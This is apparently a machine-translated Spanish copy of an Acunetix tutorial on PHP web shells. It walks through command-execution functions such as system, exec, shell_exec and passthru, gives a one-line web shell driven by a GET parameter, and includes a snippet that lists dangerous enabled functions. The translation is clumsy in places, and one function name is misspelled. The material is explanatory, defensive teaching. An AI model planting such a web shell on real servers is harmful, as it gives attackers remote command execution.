Dubitinsider

for your information

En la parte 1 de esta serie, analizamos qué es un shell web y por qué un atacante buscaría usarlo. En la parte 2 de esta serie, veremos algunos ejemplos específicos de shells web desarrollados utilizando el lenguaje de programación PHP.

Los shells web existen para casi todos los lenguajes de programación web que puedas imaginar. Elegimos enfocarnos en PHP porque es el lenguaje de programación más utilizado en la web.

Los shells web PHP no hacen más que usar funciones PHP integradas para ejecutar comandos. Las siguientes son algunas de las funciones más comunes usadas para ejecutar comandos de shell en PHP.

Nota: Para los fines de este artículo, editamos nuestro archivo hosts y apuntamos el dominio www.example.com a un servidor de pruebas.

system ()

La función system() acepta el comando como parámetro y genera el resultado.

El siguiente ejemplo en una máquina con Microsoft Windows ejecutará el comando dir para devolver una lista de directorios del directorio en el que se ejecuta el archivo PHP.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

Ejecutando el comando ls en una máquina Linux se consigue un resultado similar.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Otros comandos tienen el mismo efecto.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

El exec() función acepta un comando como un parámetro, pero no genera el resultado. Si se especifica un segundo parámetro opcional, el resultado se devolverá como una matriz. De lo contrario, solo se mostrará la última línea del resultado si se hace eco.

<?php// Executes but returns nothingexec("ls -la");?>-->

Usando echoexec() función sólo se imprime la última línea de la salida del comando.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Si se especifica un segundo parámetro, el resultado se devuelve en una matriz.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec ()

La función shell_exec() es similar a exec(), sin embargo, muestra el resultado completo como una cadena.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

El passthru() función ejecuta un comando y devuelve el resultado en formato raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

El proc_open() función puede ser difícil de entender (se puede encontrar una descripción detallada de la función en PHP docs). Usando proc_open(), podemos crear un controlador (proceso) que se utilizará para la comunicación entre nuestro script y el programa que queremos ejecutar.

Backsticks

Sorprendentemente, no muchos desarrolladores de PHP son conscientes de esto, pero PHP ejecutará el contenido de backsticks (`) como un comando de shell.

Nota: El carácter de comilla invertida (‘) no debe confundirse con el carácter de comilla simple ( ‘ )
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

Basado en lo anterior, lo siguiente es un shell web PHP en su forma más simple.

<?php system($_GET);?>

Utiliza la función system() para ejecutar comandos que se pasan a través del parámetro GET de solicitud HTTP ‘cmd’.

web shells image 2

Hemos establecido que estas funciones (y algunas otras) pueden ser muy peligrosas. Lo que es aún más peligroso es que todos estos comandos PHP incorporados están habilitados de forma predeterminada cuando se instala PHP y la mayoría de los administradores de sistemas no los deshabilitan.

Si no está seguro de si están habilitadas en su sistema, a continuación se mostrará una lista de las funciones peligrosas que están habilitadas.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

En una instalación predeterminada, podemos ver que todas las funciones mencionadas anteriormente están habilitadas.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Parte 1

Una Introducción a la Web Conchas

Parte 2

Web Conchas 101 Usando PHP

Parte 3

Mantener la Web Conchas Bajo Cubierta

Parte 4

en la Web de Conchas en Acción

Parte 5

Detección de & Prevención

preguntas frecuentes

Una web shell es una aplicación pequeña que un atacante ejecuta en el servidor web. A continuación, pueden usar esta aplicación para acceder de forma remota a su servidor y ejecutar comandos en él. Un shell web por sí solo nunca es un ataque, es la consecuencia de un ataque exitoso en su sitio web o aplicación web. Esto significa que si tienes un shell web, tienes un problema mucho más serio del que preocuparte.

Vea cómo funciona un shell web en la práctica.

Maliciosos que los hackers utilizan la web conchas para tomar el control de un comprometido ya server. En primer lugar, explotan una vulnerabilidad en su sitio web o aplicación web, como inyección SQL, ejecución remota de código u otros. Luego, cargan un shell web a su servidor web. A partir de ahora, pueden ejecutar cualquier comando que les guste en su servidor.

Vea un ejemplo paso a paso de un ataque que conduce a un compromiso completo del servidor.

puede detectar la web de conchas de análisis de registro. Sin embargo, no debe centrarse en detectar shells web, sino que debe detectar vulnerabilidades que puedan permitir que los atacantes tomen el control de su servidor. Incluso si detecta un shell web, eso no impedirá que los atacantes vuelvan a tomar el control si las vulnerabilidades siguen ahí. Para detectar vulnerabilidades web y aprender a eliminarlas, utilice Acunetix.

Vea lo que Acunetix Premium puede hacer por usted.

La mejor manera de protegerse contra las web de las conchas para hacer imposible el uso de ellos en su sistema. Puede hacerlo endureciendo su servidor, eliminando todos los permisos excesivos, bloqueando funciones potencialmente peligrosas, restringiendo la ejecución de scripts en los directorios de carga, etc. Sin embargo, lo mejor es proteger el servidor para que no se vea comprometido en primer lugar mediante el uso regular de Acunetix.

Obtenga más información sobre la detección y protección del shell web.

Obtener el contenido más reciente en la web de la seguridad
en su bandeja de entrada cada semana.

COMPARTE ESTA PUBLICACIÓN
EL AUTOR
Agathoklis Prodromou
Administrador / Desarrollador de Sistemas Web

Akis ha trabajado en el ámbito de las TI durante más de 13 años, desarrollando sus habilidades desde una perspectiva defensiva como Administrador de Sistemas y Desarrollador Web, pero también desde una perspectiva ofensiva como probador de penetración. Posee varias certificaciones profesionales relacionadas con la piratería ética, la ciencia forense digital y la respuesta a incidentes.

Deja una respuesta

Tu dirección de correo electrónico no será publicada.